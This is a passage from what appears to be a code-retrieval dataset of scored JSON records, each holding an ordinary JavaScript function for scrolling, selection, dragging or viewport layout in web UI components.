true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(overlap) {\n\t\t\t\t\t\t\t// strings never merge, but they may disappear out of the right margin\n\t\t\t\t\t\t\tif(firstOverlap) {\n\t\t\t\t\t\t\t\tfirstOverlap = false;\n\t\t\t\t\t\t\t\tnewSel[2] = histogram[i][2];\n\t\t\t\t\t\t\t\tnewSel[3] = histogram[i][3];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tif(newSel[2] === null) {\n\t\t\t\t\t\t\t\t\tnewSel[2] = histogram[i][2];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\tnewSel[2] = Math.min(newSel[2], histogram[i][2]);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif(newSel[3] === null) {\n\t\t\t\t\t\t\t\t\tnewSel[3] = histogram[i][3];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\tnewSel[3] = Math.max(newSel[3], histogram[i][3]);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tif((val1 <= histogram[i][5] && histogram[i][4] <= val2)) {\n\t\t\t\t\t\t\t// overlaps with selection\n\t\t\t\t\t\t\t// we may need to grow the selection\n\t\t\t\t\t\t\tnewSel[0] = Math.min(histogram[i][4], newSel[0]);\n\t\t\t\t\t\t\tnewSel[1] = Math.max(histogram[i][5], newSel[1]);\n\n\t\t\t\t\t\t\tif(newSel[0] != val1 || newSel[1] != val2) {\n\t\t\t\t\t\t\t\tdirty = true;\n\t\t\t\t\t\t\t\t// $log.log(preDebugMsg + \"grow [\" + val1 + \",\" + val2 + \"] to (\" + newSel[0] + \",\" + newSel[1] + \")\");\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif(firstOverlap) {\n\t\t\t\t\t\t\t\tfirstOverlap = false;\n\t\t\t\t\t\t\t\tnewSel[2] = histogram[i][2];\n\t\t\t\t\t\t\t\tnewSel[3] = histogram[i][3];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tif(newSel[2] === null) {\n\t\t\t\t\t\t\t\t\tnewSel[2] = histogram[i][2];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\tnewSel[2] = Math.min(newSel[2], histogram[i][2]);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif(newSel[3] === null) {\n\t\t\t\t\t\t\t\t\tnewSel[3] = histogram[i][3];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\tnewSel[3] = Math.max(newSel[3], histogram[i][3]);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(dataType == 'string') {\n\t\t\t\tif(!saw1 || !saw2) {\n\t\t\t\t\tdirty = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tdrawSelections();\n\t\tif(dirty) {\n\t\t\tupdateLocalSelections(false);\n\t\t\tsaveSelectionsInSlot();\n\t\t}\n\t}", "title": "" }, { "docid": "d5fc9d085c46e45cf2e4a696d2f92066", "score": "0.57612365", "text": "applyLayout(events) {\n super.applyLayout(events, (event, j, slot, slotSize) => {\n event.height = slotSize;\n event.top = slot.start + j * slotSize;\n });\n events.forEach(event => {\n Object.assign(event, this.bandIndexToPxConvertFn.call(this.bandIndexToPxConvertThisObj || this, event.top, event.height, null, event.event));\n });\n }", "title": "" }, { "docid": "719fbe3004da613a5567873d85b396d3", "score": "0.57565576", "text": "update() {\n if (this.showSelection && isDefined(this.position)) {\n const screenPosition = SceneTransforms.wgs84ToWindowCoordinates(this._cesium.scene, this.position, screenSpacePos);\n if (!isDefined(screenPosition)) {\n this._screenPositionX = offScreen;\n this._screenPositionY = offScreen;\n }\n else {\n const container = this.container;\n const containerWidth = container.clientWidth;\n const containerHeight = container.clientHeight;\n const indicatorSize = this.selectionIndicatorElement.clientWidth;\n const halfSize = indicatorSize * 0.5;\n screenPosition.x =\n Math.min(Math.max(screenPosition.x, -indicatorSize), containerWidth + indicatorSize) - halfSize;\n screenPosition.y =\n Math.min(Math.max(screenPosition.y, -indicatorSize), containerHeight + indicatorSize) - halfSize;\n this._screenPositionX = Math.floor(screenPosition.x + 0.25) + \"px\";\n this._screenPositionY = Math.floor(screenPosition.y + 0.25) + \"px\";\n }\n }\n }", "title": "" }, { "docid": "16226d8215e4f051b6ee7a315d42d65f", "score": "0.57006156", "text": "onScrollPositionChanged_() {\n // Now that scrolling has settled, flush any layout changes for iOS since\n // it will not cause flickering.\n this.childLayoutManager_.flushChanges();\n this.childLayoutManager_.setQueueChanges(false);\n\n this.updateUi_();\n }", "title": "" }, { "docid": "16226d8215e4f051b6ee7a315d42d65f", "score": "0.57006156", "text": "onScrollPositionChanged_() {\n // Now that scrolling has settled, flush any layout changes for iOS since\n // it will not cause flickering.\n this.childLayoutManager_.flushChanges();\n this.childLayoutManager_.setQueueChanges(false);\n\n this.updateUi_();\n }", "title": "" }, { "docid": "cea740ef7f42fca8e447633fac03855d", "score": "0.56699824", "text": "function resizePointer3(scope)\n{\n try {\n if (scope.xs != undefined) {\n var elmnt = document.getElementById(\"GraphResults\");\n var xInd = elmnt.offsetHeight * .12;\n var yInd = elmnt.offsetWidth * .15;\n\n\n xInd = (elmnt.offsetHeight * .74) * scope.xs / 100 + (elmnt.offsetHeight * .12);\n yInd = (elmnt.offsetWidth * .47) * scope.ys / 100 + (elmnt.offsetWidth * .15);\n\n if (xInd < (elmnt.offsetHeight * .12))\n {\n xInd = (elmnt.offsetHeight * .12);\n }\n if (xInd > (elmnt.offsetHeight * .86)) {\n xInd = (elmnt.offsetHeight * .86);\n }\n\n if (yInd > (elmnt.offsetWidth * .62))\n {\n yInd = (elmnt.offsetWidth * .62);\n }\n\n if (yInd < (elmnt.offsetWidth * .15)) {\n yInd = (elmnt.offsetWidth * .15);\n }\n\n scope.indicador = function () {\n return {\n \"position\": \"absolute\",\n left: yInd + \"px\",\n bottom: xInd + \"px\",\n width: \"3%\",\n height: \"3%\",\n display: \"normal\",\n \"z-index\": \"10\"\n };\n };\n }\n else {\n return {\n \"position\": \"absolute\",\n \"display\": \"none\",\n \"z-index\": \"10\"\n };\n\n }\n } catch (e) {\n\n return {\n \"position\": \"absolute\",\n \"display\" : \"none\",\n \"z-index\": \"10\"\n };\n }\n}", "title": "" }, { "docid": "92a09d80a64d588d359cfcfb84e2c85b", "score": "0.5613555", "text": "_updateRenderedRange() {\n if (!this._viewport) {\n return;\n }\n const renderedRange = this._viewport.getRenderedRange();\n const newRange = { start: renderedRange.start, end: renderedRange.end };\n const viewportSize = this._viewport.getViewportSize();\n const dataLength = this._viewport.getDataLength();\n let scrollOffset = this._viewport.measureScrollOffset();\n // Prevent NaN as result when dividing by zero.\n let firstVisibleIndex = (this._itemSize > 0) ? scrollOffset / this._itemSize : 0;\n // If user scrolls to the bottom of the list and data changes to a smaller list\n if (newRange.end > dataLength) {\n // We have to recalculate the first visible index based on new data length and viewport size.\n const maxVisibleItems = Math.ceil(viewportSize / this._itemSize);\n const newVisibleIndex = Math.max(0, Math.min(firstVisibleIndex, dataLength - maxVisibleItems));\n // If first visible index changed we must update scroll offset to handle start/end buffers\n // Current range must also be adjusted to cover the new position (bottom of new list).\n if (firstVisibleIndex != newVisibleIndex) {\n firstVisibleIndex = newVisibleIndex;\n scrollOffset = newVisibleIndex * this._itemSize;\n newRange.start = Math.floor(firstVisibleIndex);\n }\n newRange.end = Math.max(0, Math.min(dataLength, newRange.start + maxVisibleItems));\n }\n const startBuffer = scrollOffset - newRange.start * this._itemSize;\n if (startBuffer < this._minBufferPx && newRange.start != 0) {\n const expandStart = Math.ceil((this._maxBufferPx - startBuffer) / this._itemSize);\n newRange.start = Math.max(0, newRange.start - expandStart);\n newRange.end = Math.min(dataLength, Math.ceil(firstVisibleIndex + (viewportSize + this._minBufferPx) / this._itemSize));\n }\n else {\n const endBuffer = newRange.end * this._itemSize - (scrollOffset + viewportSize);\n if (endBuffer < this._minBufferPx && newRange.end != dataLength) {\n const expandEnd = Math.ceil((this._maxBufferPx - endBuffer) / this._itemSize);\n if (expandEnd > 0) {\n newRange.end = Math.min(dataLength, newRange.end + expandEnd);\n newRange.start = Math.max(0, Math.floor(firstVisibleIndex - this._minBufferPx / this._itemSize));\n }\n }\n }\n this._viewport.setRenderedRange(newRange);\n this._viewport.setRenderedContentOffset(this._itemSize * newRange.start);\n this._scrolledIndexChange.next(Math.floor(firstVisibleIndex));\n }", "title": "" }, { "docid": "92a09d80a64d588d359cfcfb84e2c85b", "score": "0.5613555", "text": "_updateRenderedRange() {\n if (!this._viewport) {\n return;\n }\n const renderedRange = this._viewport.getRenderedRange();\n const newRange = { start: renderedRange.start, end: renderedRange.end };\n const viewportSize = this._viewport.getViewportSize();\n const dataLength = this._viewport.getDataLength();\n let scrollOffset = this._viewport.measureScrollOffset();\n // Prevent NaN as result when dividing by zero.\n let firstVisibleIndex = (this._itemSize > 0) ? scrollOffset / this._itemSize : 0;\n // If user scrolls to the bottom of the list and data changes to a smaller list\n if (newRange.end > dataLength) {\n // We have to recalculate the first visible index based on new data length and viewport size.\n const maxVisibleItems = Math.ceil(viewportSize / this._itemSize);\n const newVisibleIndex = Math.max(0, Math.min(firstVisibleIndex, dataLength - maxVisibleItems));\n // If first visible index changed we must update scroll offset to handle start/end buffers\n // Current range must also be adjusted to cover the new position (bottom of new list).\n if (firstVisibleIndex != newVisibleIndex) {\n firstVisibleIndex = newVisibleIndex;\n scrollOffset = newVisibleIndex * this._itemSize;\n newRange.start = Math.floor(firstVisibleIndex);\n }\n newRange.end = Math.max(0, Math.min(dataLength, newRange.start + maxVisibleItems));\n }\n const startBuffer = scrollOffset - newRange.start * this._itemSize;\n if (startBuffer < this._minBufferPx && newRange.start != 0) {\n const expandStart = Math.ceil((this._maxBufferPx - startBuffer) / this._itemSize);\n newRange.start = Math.max(0, newRange.start - expandStart);\n newRange.end = Math.min(dataLength, Math.ceil(firstVisibleIndex + (viewportSize + this._minBufferPx) / this._itemSize));\n }\n else {\n const endBuffer = newRange.end * this._itemSize - (scrollOffset + viewportSize);\n if (endBuffer < this._minBufferPx && newRange.end != dataLength) {\n const expandEnd = Math.ceil((this._maxBufferPx - endBuffer) / this._itemSize);\n if (expandEnd > 0) {\n newRange.end = Math.min(dataLength, newRange.end + expandEnd);\n newRange.start = Math.max(0, Math.floor(firstVisibleIndex - this._minBufferPx / this._itemSize));\n }\n }\n }\n this._viewport.setRenderedRange(newRange);\n this._viewport.setRenderedContentOffset(this._itemSize * newRange.start);\n this._scrolledIndexChange.next(Math.floor(firstVisibleIndex));\n }", "title": "" }, { "docid": "1a4581fdc14db6452ac6540ce8fde2c5", "score": "0.56094027", "text": "_forceUpdateViewportPosition() {\n const children = DOM.childNodes.get.call(this.viewport);\n while (children.length != 0) {\n DOM.removeChild.value.call(this.viewport, children[0]);\n }\n this.renderedTop = this.renderedBottom = -Infinity;\n this._updateViewportPosition();\n }", "title": "" }, { "docid": "1bcad19496bad5f02a7288ce20708012", "score": "0.55782604", "text": "_updateOnScroll(event) {\n const scrollDifference = this._parentPositions.handleScroll(event);\n if (scrollDifference) {\n const target = _getEventTarget(event);\n // ClientRect dimensions are based on the scroll position of the page and its parent\n // node so we have to update the cached boundary ClientRect if the user has scrolled.\n if (this._boundaryRect &&\n target !== this._boundaryElement &&\n target.contains(this._boundaryElement)) {\n adjustClientRect(this._boundaryRect, scrollDifference.top, scrollDifference.left);\n }\n this._pickupPositionOnPage.x += scrollDifference.left;\n this._pickupPositionOnPage.y += scrollDifference.top;\n // If we're in free drag mode, we have to update the active transform, because\n // it isn't relative to the viewport like the preview inside a drop list.\n if (!this._dropContainer) {\n this._activeTransform.x -= scrollDifference.left;\n this._activeTransform.y -= scrollDifference.top;\n this._applyRootElementTransform(this._activeTransform.x, this._activeTransform.y);\n }\n }\n }", "title": "" }, { "docid": "44b184f6a28c3869038286ac5bf18d0d", "score": "0.5569376", "text": "computeBoundsAndUpdateRange(scrollLeft, scrollTop){\n\t\t// maybe cache this ?\n\t\tlet viewPortHeight = this.viewPortHeight;\n\t\tlet {elementHeight, elementRenderer, dataSource} = this.props;\n\t\tlet newRange = this.getRangeOfElements(scrollTop, viewPortHeight, elementHeight);\n\t\tlet currentRange = this.state.range;\n\t\tlet elements;\n\t\tif( this.shouldSkipRender(newRange, currentRange)){\n\t\t\treturn;\n\t\t\t// elements = currentRange.elements;\n\t\t}else{\n\t\t\tif( !this.isDiffLen(newRange, currentRange) && this.isReusable(newRange, currentRange) ){\n\t\t\t\telements = currentRange.elements;\n\t\t\t\tlet offset = newRange.startPoint - currentRange.startPoint;\n\t\t\t\tlet goingUp = offset < 0;\n\t\t\t\tlet startPoint = goingUp ? newRange.startPoint : newRange.endPoint;\n\t\t\t\tlet length = dataSource.length;\n\t\t\t\tlet noop = (s) => {};\n\t\t\t\tlet mapData = (element, index) => {\n\t\t\t\t\t\tlet itemIndex = goingUp ? startPoint + index : startPoint - index;\n\t\t\t\t\t\tif( itemIndex > newRange.endPoint ){ console.error(\"OUT OF BOUND\") };\n\t\t\t\t\t\telement.node = <UIScrollViewElement \n\t\t\t\t\t\t\t\t\t\t\tkey={element.i} order={itemIndex} \n\t\t\t\t\t\t\t\t\t\t\tdata={dataSource.getItemAtIndex(itemIndex)} \n\t\t\t\t\t\t\t\t\t\t\theight={elementHeight} renderer={elementRenderer} \n\t\t\t\t\t\t\t\t\t\t/>;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif( goingUp ){\n\t\t\t\t\telements.turnAntiClockwise(-offset, mapData);\n\t\t\t\t}else{\n\t\t\t\t\telements.turnClockwise(offset, mapData);\n\t\t\t\t} \n\n\t\t\t}else{\n\n\t\t\t\telements = new Ring();\n\t\t\t\tlet node = null;\n\t\t\t\tfor( let i = newRange.startPoint ; i <= newRange.endPoint ; i++ ){\n\t\t\t\t\tnode = <UIScrollViewElement \n\t\t\t\t\t\t\t\tkey={i} order={i} data={dataSource.getItemAtIndex(i)} \n\t\t\t\t\t\t\t\theight={elementHeight} renderer={elementRenderer} \n\t\t\t\t\t\t\t/>;\n\t\t\t\t\telements.push({node, i});\n\t\t\t\t}\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\tnewRange.elements = elements;\n\t\tthis.setState({\n\t\t\tisReady: true,\n\t\t\trange: newRange\n\t\t});\n\t}", "title": "" }, { "docid": "923ac41601da709ec8cd561e68e34d07", "score": "0.5526884", "text": "function setupScrollbarCornerEvents() {\r\n var insideIFrame = _windowElementNative.top !== _windowElementNative;\r\n var mouseDownPosition = {};\r\n var mouseDownSize = {};\r\n var mouseDownInvertedScale = {};\r\n var reconnectMutationObserver;\r\n\r\n function documentDragMove(event) {\r\n if (onMouseTouchDownContinue(event)) {\r\n var pageOffset = getCoordinates(event);\r\n var hostElementCSS = {};\r\n if (_resizeHorizontal || _resizeBoth)\r\n hostElementCSS[_strWidth] = (mouseDownSize.w + (pageOffset.x - mouseDownPosition.x) * mouseDownInvertedScale.x);\r\n if (_resizeVertical || _resizeBoth)\r\n hostElementCSS[_strHeight] = (mouseDownSize.h + (pageOffset.y - mouseDownPosition.y) * mouseDownInvertedScale.y);\r\n _hostElement.css(hostElementCSS);\r\n COMPATIBILITY.stpP(event);\r\n }\r\n else {\r\n documentMouseTouchUp(event);\r\n }\r\n }\r\n function documentMouseTouchUp(event) {\r\n var eventIsTrusted = event !== undefined;\r\n\r\n setupResponsiveEventListener(_documentElement,\r\n [_strSelectStartEvent, _strMouseTouchMoveEvent, _strMouseTouchUpEvent],\r\n [documentOnSelectStart, documentDragMove, documentMouseTouchUp],\r\n true);\r\n\r\n removeClass(_bodyElement, _classNameDragging);\r\n if (_scrollbarCornerElement.releaseCapture)\r\n _scrollbarCornerElement.releaseCapture();\r\n\r\n if (eventIsTrusted) {\r\n if (reconnectMutationObserver)\r\n connectMutationObservers();\r\n _base.update(_strAuto);\r\n }\r\n reconnectMutationObserver = false;\r\n }\r\n function onMouseTouchDownContinue(event) {\r\n var originalEvent = event.originalEvent || event;\r\n var isTouchEvent = originalEvent.touches !== undefined;\r\n return _sleeping || _destroyed ? false : COMPATIBILITY.mBtn(event) === 1 || isTouchEvent;\r\n }\r\n function getCoordinates(event) {\r\n return _msieVersion && insideIFrame ? { x: event.screenX, y: event.screenY } : COMPATIBILITY.page(event);\r\n }\r\n\r\n addDestroyEventListener(_scrollbarCornerElement, _strMouseTouchDownEvent, function (event) {\r\n if (onMouseTouchDownContinue(event) && !_resizeNone) {\r\n if (_mutationObserversConnected) {\r\n reconnectMutationObserver = true;\r\n disconnectMutationObservers();\r\n }\r\n\r\n mouseDownPosition = getCoordinates(event);\r\n\r\n mouseDownSize.w = _hostElementNative[LEXICON.oW] - (!_isBorderBox ? _paddingX : 0);\r\n mouseDownSize.h = _hostElementNative[LEXICON.oH] - (!_isBorderBox ? _paddingY : 0);\r\n mouseDownInvertedScale = getHostElementInvertedScale();\r\n\r\n setupResponsiveEventListener(_documentElement,\r\n [_strSelectStartEvent, _strMouseTouchMoveEvent, _strMouseTouchUpEvent],\r\n [documentOnSelectStart, documentDragMove, documentMouseTouchUp]);\r\n\r\n addClass(_bodyElement, _classNameDragging);\r\n if (_scrollbarCornerElement.setCapture)\r\n _scrollbarCornerElement.setCapture();\r\n\r\n COMPATIBILITY.prvD(event);\r\n COMPATIBILITY.stpP(event);\r\n }\r\n });\r\n }", "title": "" }, { "docid": "bdf5b04d1eea000476fe3d1f7f7f0a9c", "score": "0.5512853", "text": "function onMove(e) {\n if (isDrag) {\n getMouse(e);\n if(!selArrow) {\n // Calculate offser relative to the last\n // Selected item\n var abs_x = mx - offsetx;\n var abs_y = my - offsety;\n\n var rel_x = abs_x - lastSel.x;\n var rel_y = abs_y - lastSel.y;\n \n mySel.forEach(function(val, idx, array) {\n val.x += rel_x;\n val.y += rel_y;\n })\n }\n else{\n lastSel.target.x = mx;\n lastSel.target.y = my;\n }\n \n // something is changing position so we better invalidate the canvas!\n invalidate();\n // Resize the selection\n } else if (isResizeDrag && !selArrow) {\n // time ro resize!\n var oldx = lastSel.x;\n var oldy = lastSel.y;\n \n // 0 1 2\n // 3 4\n // 5 6 7\n switch (expectResize) {\n case 0:\n lastSel.x = mx;\n lastSel.y = my;\n lastSel.w += oldx - mx;\n lastSel.h += oldy - my;\n break;\n case 1:\n lastSel.y = my;\n lastSel.h += oldy - my;\n break;\n case 2:\n lastSel.y = my;\n lastSel.w = mx - oldx;\n lastSel.h += oldy - my;\n break;\n case 3:\n lastSel.x = mx;\n lastSel.w += oldx - mx;\n break;\n case 4:\n lastSel.w = mx - oldx;\n break;\n case 5:\n lastSel.x = mx;\n lastSel.w += oldx - mx;\n lastSel.h = my - oldy;\n break;\n case 6:\n lastSel.h = my - oldy;\n break;\n case 7:\n lastSel.w = mx - oldx;\n lastSel.h = my - oldy;\n break;\n }\n \n invalidate();\n }\n else if(isSelectionDrag) {\n invalidate();\n }\n \n getMouse(e);\n // if there's a selection see if we grabbed one of the selection handles\n if (mySel.length !== 0 && !isResizeDrag && !isSelectionDrag) {\n for (var i = 0; i < 8; i++) {\n // 0 1 2\n // 3 4\n // 5 6 7\n \n var cur = selectionHandles[i];\n \n // we dont need to use the ghost context because\n // selection handles will always be rectangles\n if (mx >= cur.x && mx <= cur.x + mySelBoxSize &&\n my >= cur.y && my <= cur.y + mySelBoxSize) {\n // we found one!\n expectResize = i;\n invalidate();\n \n switch (i) {\n case 0:\n this.style.cursor='nw-resize';\n break;\n case 1:\n this.style.cursor='n-resize';\n break;\n case 2:\n this.style.cursor='ne-resize';\n break;\n case 3:\n this.style.cursor='w-resize';\n break;\n case 4:\n this.style.cursor='e-resize';\n break;\n case 5:\n this.style.cursor='sw-resize';\n break;\n case 6:\n this.style.cursor='s-resize';\n break;\n case 7:\n this.style.cursor='se-resize';\n break;\n }\n return;\n }\n \n }\n // not over a selection box, return to normal\n isResizeDrag = false;\n expectResize = -1;\n this.style.cursor='auto';\n }\n \n}", "title": "" }, { "docid": "43e1e6767c836e98fdd95631db728bf9", "score": "0.5503507", "text": "onSelectionPositioned() {\n let contentRect = this._getContentRect()\n let selectionRect = this._getSelectionRect()\n if (!selectionRect) return\n let hints = {\n contentRect,\n selectionRect\n }\n this._emitSelectionPositioned(hints)\n this._scrollSelectionIntoView(selectionRect)\n }", "title": "" }, { "docid": "02504a6abac76f47011dce386550d06e", "score": "0.5488031", "text": "measureMinimizedRect_() {\n this.vsync_.measure(() => {\n this.minimizedRect_ = this.internalElement_./*OK*/getBoundingClientRect();\n this.dragCoordinates_.initial.x = this.minimizedRect_.left;\n this.dragCoordinates_.initial.y = this.minimizedRect_.top;\n this.dragCoordinates_.position.x = this.minimizedRect_.left;\n this.dragCoordinates_.position.y = this.minimizedRect_.top;\n this.dragCoordinates_.previous.x = this.minimizedRect_.left;\n this.dragCoordinates_.previous.y = this.minimizedRect_.top;\n this.dragCoordinates_.displacement.x = 0;\n this.dragCoordinates_.displacement.y = 0;\n });\n }", "title": "" }, { "docid": "2ab57c1b8c19bcad93928d2fee93b1e5", "score": "0.5474761", "text": "measure_() {\n this.sourceWidth_ = this.content_./*OK*/ scrollWidth;\n this.sourceHeight_ = this.content_./*OK*/ scrollHeight;\n\n const sourceAspectRatio = this.sourceWidth_ / this.sourceHeight_;\n\n this.elementBox_ = this.getViewport().getLayoutRect(this.element);\n\n this.updateContentDimensions_(sourceAspectRatio);\n this.updateMaxScale_(sourceAspectRatio);\n\n // Reset zoom and pan.\n this.startScale_ = this.scale_ = this.initialScale_;\n this.startX_ = this.posX_ = this.initialX_;\n this.startY_ = this.posY_ = this.initialY_;\n }", "title": "" }, { "docid": "2db2d6ededaa63aa7afd6bb66171b7c3", "score": "0.5455321", "text": "_updateViewportPosition() {\n const viewportHeight = this.viewportHeight,\n viewportTop = this.container.scrollTop,\n viewportBottom = viewportTop + viewportHeight,\n bufferSize = this.viewportBufferSize,\n limitViewportTop = this.renderedTop + bufferSize,\n limitViewportBottom = this.renderedBottom - bufferSize;\n this.viewportTop = viewportTop;\n\n if (\n viewportTop < limitViewportTop ||\n viewportBottom > limitViewportBottom\n ) {\n // Find the first leaf node which should be rendered at the current scroll\n const start = viewportTop - bufferSize * 2,\n end = viewportTop + viewportHeight + bufferSize * 2,\n nodeIndexStack = [];\n let children = this.rootNode.children,\n top = 0,\n c = 0,\n renderedTop = 0,\n renderedBottom = 0,\n node;\n while ((node = children[c++])) {\n if (top + node.height > start) {\n nodeIndexStack.push(c - 1);\n children = node.children;\n if (!children) break;\n c = 0;\n } else {\n top += node.height;\n renderedTop = top;\n }\n }\n this.viewport.style.paddingTop = top + \"px\";\n\n // Remove all currently visible lines initially\n // TODO: Leave lines which should still be visible...\n const viewportChildren = DOM.childNodes.get.call(this.viewport);\n while (viewportChildren.length != 0) {\n DOM.removeChild.value.call(this.viewport, viewportChildren[0]);\n }\n\n // Iterate through the leaf nodes, adding them to the viewport until the\n // height reaches the render limit\n let bottom = top;\n if (node) {\n main: while (true) {\n DOM.appendChild.value.call(this.viewport, node.element);\n if (node.lastMeasured < this.state) {\n this._measure(node);\n }\n bottom += this._getHeight(node);\n if (bottom >= end) {\n renderedBottom = bottom;\n break;\n }\n c = ++nodeIndexStack[nodeIndexStack.length - 1];\n while (c == node.parent.children.length) {\n nodeIndexStack.pop();\n node = node.parent;\n if (!node.parent) break main;\n c = ++nodeIndexStack[nodeIndexStack.length - 1];\n }\n node = node.parent.children[c];\n while (node.children) {\n node = node.children[0];\n nodeIndexStack.push(0);\n }\n }\n }\n\n this.renderedTop = Math.min(renderedTop, start);\n this.renderedBottom = Math.max(renderedBottom, end);\n }\n }", "title": "" }, { "docid": "d4a6cb568e17c48beada0b41e225224f", "score": "0.54473144", "text": "setContentBoxOffsets_() {\n const contentBox = layoutRectFromDomRect(\n dev().assertElement(this.content_)./*OK*/ getBoundingClientRect()\n );\n // Set content positions to offset from element box\n this.contentBox_.top = contentBox.top - this.elementBox_.top;\n this.contentBox_.left = contentBox.left - this.elementBox_.left;\n }", "title": "" }, { "docid": "c9692bdf5cba2a319dc696de0b03d9e4", "score": "0.54454964", "text": "function adjustSelectionToVisibleSelection(){function findSelectionEnd(t,e){var i=new A(e);for(n=i.prev2();n;n=i.prev2()){if(3==n.nodeType&&n.data.length>0)return n;if(n.childNodes.length>1||n==t||\"BR\"==n.tagName)return n}}\n// Adjust selection so that a end container with a end offset of zero is not included in the selection\n// as this isn't visible to the user.\nvar t=a.selection.getRng(),e=t.startContainer,i=t.endContainer;if(e!=i&&0===t.endOffset){var o=findSelectionEnd(e,i),r=3==o.nodeType?o.data.length:o.childNodes.length;t.setEnd(o,r)}return t}", "title": "" }, { "docid": "80ab73931f9096b242e3a96a053e7602", "score": "0.54416335", "text": "deferLayout() {\n // TODO split layouts to independent methods\n const layoutOptions = this.options.layoutAlgorithm;\n if (!this.visible) {\n return;\n }\n // layout is using nodes for position calculation\n this.addLayout();\n if (layoutOptions.splitSeries) {\n this.addSeriesLayout();\n }\n }", "title": "" }, { "docid": "fd7542eeef48781c0212370ff6a1d48a", "score": "0.5434521", "text": "function scrLayout() { with (this)\r\n{\r\n if (!isDyn) return;\r\n\r\n winWidth = 400;//document.all ? document.body.clientWidth : window.innerWidth;\r\n winHeight = 300;//document.all ? document.body.clientHeight : window.innerHeight;\r\n\r\n if (isNS4 && (scrFirstWidth != winWidth))\r\n {\r\n // Sorry folks, NS4 has major bugs resizing horizontally and must refresh...\r\n fileName = location.href;\r\n if (fileName.indexOf('?') != -1) fileName = fileName.substring(0, fileName.indexOf('?'));\r\n location.href = fileName + '?loadFile=' + divRef.src;\r\n }\r\n\r\n // If it's not yet initialised, go no further.\r\n if (!loaded) return;\r\n\r\n // Loop through divs array, positioning/sizing controls.\r\n var nWidthOffset = document.all ? document.body.clientWidth : window.innerWidth;\r\n nWidthOffset = 20/*Math.abs(Math.ceil(nWidthOffset/2) - 365 );*/\r\n for (count = 0; count < divs.length; count++)\r\n {\r\n var tmpObj = getSty(divs[count][0]);\r\n if (divs[count][1]) tmpObj.left = eval(divs[count][1]) + nWidthOffset;\r\n if (divs[count][2]) tmpObj.top = eval(divs[count][2]);\r\n if (divs[count][3])\r\n {\r\n var tmpW = eval(divs[count][3]);\r\n isNS4 ? tmpObj.clip.width = tmpW : tmpObj.width = tmpW;\r\n }\r\n // Don't set the height of the first scrolling div, we have to pick this up later.\r\n if (divs[count][4] && count != 0)\r\n {\r\n var tmpH = eval(divs[count][4]);\r\n isNS4 ? tmpObj.clip.height = tmpH : tmpObj.height = tmpH;\r\n }\r\n }\r\n\r\n // Set the top, bottom & width clip variables.\r\n if ((isDOM || isIE4) && !cTop) cTop = 0;\r\n // This will fix 'undefined' errors in NS.\r\n if (isNS4) cTop = divSty.clip.top;\r\n\r\n // Bar height and clipping parameters, stored here as accessed often. Set width on-the-fly.\r\n barHeight = eval(divs[1][4])-2;\r\n cBot = cTop + eval(divs[0][4]);\r\n cWidth = eval(divs[0][3]);\r\n if (isDOM || isIE4) divSty.width = cWidth;\r\n\r\n // Now, display it using updated variables...\r\n scrollBy(0);\r\n}}", "title": "" }, { "docid": "30c2069f836e23129d5dd4df43178e75", "score": "0.5434223", "text": "_onLayoutModified() {\n void this._layoutDebouncer.invoke();\n }", "title": "" }, { "docid": "562db22161741e44b9270ea5a9a1e322", "score": "0.543326", "text": "adjustFromComponentHints() {\n const { componentHintList, threadView } = this._lastRenderedValues();\n for (const hint of componentHintList) {\n switch (hint.type) {\n case 'change-of-thread-cache':\n case 'home-menu-hidden':\n case 'home-menu-shown':\n // thread just became visible, the goal is to restore its\n // saved position if it exists or scroll to the end\n this._adjustScrollFromModel();\n break;\n case 'message-received':\n case 'messages-loaded':\n case 'new-messages-loaded':\n // messages have been added at the end, either scroll to the\n // end or keep the current position\n this._adjustScrollForExtraMessagesAtTheEnd();\n break;\n case 'more-messages-loaded':\n // messages have been added at the start, keep the current\n // position\n this._adjustScrollForExtraMessagesAtTheStart();\n break;\n }\n if (threadView && threadView.exists()) {\n threadView.markComponentHintProcessed(hint);\n }\n }\n this._willPatchSnapshot = undefined;\n }", "title": "" }, { "docid": "aeaeebb51402355e6669f55182f3a76a", "score": "0.5430473", "text": "function setInitialPosition() {\n\t\t\t\t\t\tvar selectCoords;\n\t\t\t\t\t\tvar parent;\n\t\t\t\t\t\tvar parentCoords;\n\t\t\t\t\t\tvar overLeft;\n\t\t\t\t\t\tvar overRight;\n\t\t\t\t\t\tvar overTop;\n\t\t\t\t\t\tvar overBottom;\n\t\t\t\t\t\tvar scroll;\n\t\t\t\t\t\tvar i;\n\t\t\t\t\t\tfor (i = 0; i < scrollContainers.length; i++) {\n\t\t\t\t\t\t\tselectCoords = selectElement.getBoundingClientRect();\n\t\t\t\t\t\t\tparent = scrollContainers[i];\n\t\t\t\t\t\t\tparentCoords = parent.getBoundingClientRect();\n\t\t\t\t\t\t\tscroll = getScrollBarDimensions(parent);\n\t\t\t\t\t\t\toverLeft = parentCoords.left - selectCoords.left;\n\t\t\t\t\t\t\toverRight = selectCoords.right - parentCoords.right + scroll.horizontalScroll;\n\t\t\t\t\t\t\toverTop = parentCoords.top - selectCoords.top;\n\t\t\t\t\t\t\toverBottom = 